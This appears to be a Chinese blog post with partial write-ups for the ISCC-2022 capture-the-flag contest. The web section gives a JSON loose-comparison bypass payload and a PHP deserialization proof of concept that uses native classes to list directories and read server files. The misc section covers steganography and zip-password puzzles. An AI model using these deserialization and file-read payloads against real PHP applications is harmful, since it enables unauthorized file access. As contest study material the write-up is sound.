ISCC-2022(部分wp)

ISCC-2022(部分wp)

web

冬奥会

(1)码源

<?php

show_source(__FILE__);

$Step1=False;
$Step2=False;

$info=(array)json_decode(@$_GET['Information']);

if(is_array($info)){

    var_dump($info);

    is_numeric(@$info["year"])?die("Sorry~"):NULL;
    if(@$info["year"]){
        ($info["year"]=2022)?$Step1=True:NULL;
    }
    if(is_array(@$info["items"])){
        if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");
        $status = array_search("skiing", $info["items"]);
        $status===false?die("Sorry~"):NULL;
        foreach($info["items"] as $key=>$val){
            $val==="skiing"?die("Sorry~"):NULL;
        }
        $Step2=True;
    }
}

if($Step1 && $Step2){
    include "2022flag.php";echo $flag;
}
?> 

(2)用JSON格式的字符串对information传值,里面要求year=2022,并且2022不能为数字,可以用%20绕过,items是个数为3数组,intems[1]也为数组,并且in_array()函数的解释是bool in_array ( mixed needle,arrayhaystack [, bool strict=FALSE]),如果strict参数没有提供或者是false(true会进行严格的过滤),那么inarray就会使用松散比较来判断needle是否在$haystack中,利用函数接入到了不符合的类型返回“0”这个特性,直接绕过检测。所有让items[1]或items[3]其中一个为0即可。

payload:?Information={"year":"2022 ","items":[1,[1],0]}

Pop2022

这题其实和nss有一题是完全一样的,套一下payload就出来了

findme

(1)F12查看源代码,得到另外一个页面

(2)看到码源想到原生类

(3)先用DirectoryIterator指令找一下flag

data=O:1:"a":5:{s:3:"un0";s:17:"DirectoryIterator";s:3:"un1";s:23:"glob:///var/www/html/f*";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}

Your output: fSSsybePonk_FIndMe.txt,还好没有直接输flag,不然还真的找不出来。

然后再用SplFileObject指令读取,

{s:3:"un0";s:13:"SplFileObject";s:3:"un1";s:36:"/var/www/html/fSSsybePonk_FIndMe.txt";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}

flag就出来了

(4)构建的poc

poc:
 <?php


class a{
    public $un0 = 'SplFileObject';
    public $un1 = "/var/www/html/fSSsybePonk_FIndMe.txt";
    public $un2;
    public $un3= 'unserialize'; //= 'unserialize';
    public $un4;
    
    public function __destruct(){
        if(!empty($this->un0) && empty($this->un2)){
            $this -> Givemeanew();
            if($this -> un3 === 'unserialize'){
                $this -> yigei();
            }
            else{
                $this -> giao();
            }
        }
    }

    public function Givemeanew(){


        $this -> un4 = new $this->un0($this-> un1);        //123;//$this -> un2 =";echo success;"

        
    }

    public function yigei(){

        echo 'Your output: '.$this->un4;

    }
    
    public function giao(){

        @eval($this->un2);

    }
    
    public function __wakeup(){

        include $this -> un2.'hint.php'; 
    }
}


$data = new a();
$b=serialize($data); 
echo serialize($data); 
unserialize($b);

misc

单板小将苏翊鸣

(1)一张图片和一个加密的压缩包
用101edit打开,发现CRC报错,猜测可能是图片的宽高被修改,改一下高,爆了一个二维码。

(2)扫一下,得到Unicode码,解一下
\u5728\u8fd9\u6b21\u51ac\u5965\u4f1a\u7684\u821e\u53f0\u4e0a\uff0c\u6211\u56fd\u5c0f\u5c06\u82cf\u7fca\u9e23\u65a9\u83b7\u4e00\u91d1\u4e00\u94f6\uff0c\u90a3\u4f60\u77e5\u9053\u6b64\u6b21\u51ac\u5965\u4f1a\u6211\u56fd\u603b\u5171\u83b7\u5f97\u51e0\u679a\u5956\u724c\u5417\uff1f\u53c8\u5206\u522b\u662f\u51e0\u91d1\u51e0\u94f6\u51e0\u94dc\u5462\uff1f
在这次冬奥会的舞台上,我国小将苏翊鸣斩获一金一银,那你知道此次冬奥会我国总共获得几枚奖牌吗?又分别是几金几银几铜呢?
15942

(3)打开压缩包,就有flag。

2022冬奥会

和上一题一个思路,同样是改一下高度,爆出Unicode码,截屏识别一下,问你雪融融原型是什么。

灯笼,打开压缩包,有一张损坏的图片,用101打开一下,就有flag。

藏在星空中的诗-1

(1)有个文本和一张图片和一个加密的压缩包

用ps打开图片,发现有两个图层,其中一个透明度很低,改高点,有一个五角星。

图片.png

(2)按顺序把文本里的星星符号粘贴到压缩包,得到一个pdf文件,在按pdf文件一个个对应星星图案翻译出flag。

藏在星空中的诗-2

(1)先把txt的文本用,星星1的表格对照一下

\QTTPU\QTTED\QTTPD\QTTPD\QTTKB\QTTPR\QTTDE\QTT=B\QTTEK\QTTET\QTTFO\QTTPO\QTTEP\QTTPK\QTTFI\QTTK=\QTTKK\QTTPT\QTT=P\QTTKH

(2)把重复的去掉

\PU\ED\PD\PD\KB\PR\DE=B\EK\ET\FO\PO\EP\PK\FI\K=\KK\PT=P\KH

感觉应该是Unicode码。

\PU\ED\PD\PD有两个pd对于的应该是ISCC。

(3)回到对照表,找了好久才发现,要用星星图案对应的Unicode码取最后一位拼接起来。

\u0049\u0053\u0043\u0043\u007b\u004c\u0035\u002b\u0057\u0050\u006f\u004f\u0054\u0047\u0061\u0072\u0077\u0040\u0024\u007d

(4)在用Unicode转码一下,就有flag。

真相只有一个

(1)一张图片,一个txt,一个stram

图片不知道是用来干什么的,先放一边。

(2)看了看stream好像缺了文件头,改一下,后缀顺便改成zip,好像有加密,先用ziperello爆破一下zip,跑出密码19981111,这好像要去图片里找,没想到提前出来了。

(3)解压缩包,得stram文件,wireshark打开,找到了一个MP3文件,导出来,在password.mp3最后听出了一段摩斯密码

解出来是isccmisc

(4)看txt里的内容加密的方式应该是snow加密,配合上面解出来的密码,用snow.exe,解密一下。

得到一串这个玩意,QUmu-U6LP-Gcto

套进ISCC{}看看,好像可以。

whereistheflag

博主太菜了,开始的时候也有试过lsb隐写,rgb000也看过很多次,就愣是看不出有问题。后面看大佬的wp才知道,真的有问题。

(1)先把题目的那一串base64码解密一下,解开压缩包。

(2)用stegsolve里的lsb隐写

图片.png

提取出最前面一段的十六进制码(我就为什么看不出来呢)

ffffd254d0d0dedc90de569bdc1a0cd5cd1893921bd89c118dd9145f41f8007ffffc7e3fe00fff0071ffff

(3)把上面的码转为二进制

由于0~127位前面的ascii码是由00000000到01111111,因此转码出来后把第一个0前面的东西都删掉。每八位对应一个字符。

01001001 01010011 01000011 01000011 01111011 01110010 01000011 01111001 01011010 01101111 01110000 01101000 00110011 01010111 00110100 01100010 01001110 01001000 01101111 01100010 01110000 01000110 00110111 01100100 01010001 01111101 00000111

后面由以1开头的则去掉,弄好后转成ASCII码对应的字符就行了。

打赏
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2021-2023 00hello00

请我喝杯咖啡吧~

支付宝
微信